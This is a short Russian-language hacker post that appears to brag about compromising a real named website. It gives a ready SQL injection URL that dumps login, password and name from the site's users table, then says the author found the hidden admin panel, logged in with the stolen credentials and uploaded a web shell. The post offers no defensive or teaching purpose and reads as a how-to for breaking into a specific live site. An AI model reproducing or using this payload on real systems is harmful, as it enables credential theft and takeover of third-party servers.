Ахтунг! =)

http://www.stayer.su/index.php?res=collection&cmd=view&id=-1+union+select+concat(login,0x3a3a,password,0x3a3a ,name,0x3a3a3a3a)+from+users+limit+0,1/*

Сначала пытался потыкать админовскими реквизитами в формочку авторизации на главной страничке сего чудного сайта. Не получилось. Хитрый администратор спрятал мою админку в http://www.stayer.su/adm

Логинимся. Заливаем шел.

Юзаем: тут был шел ...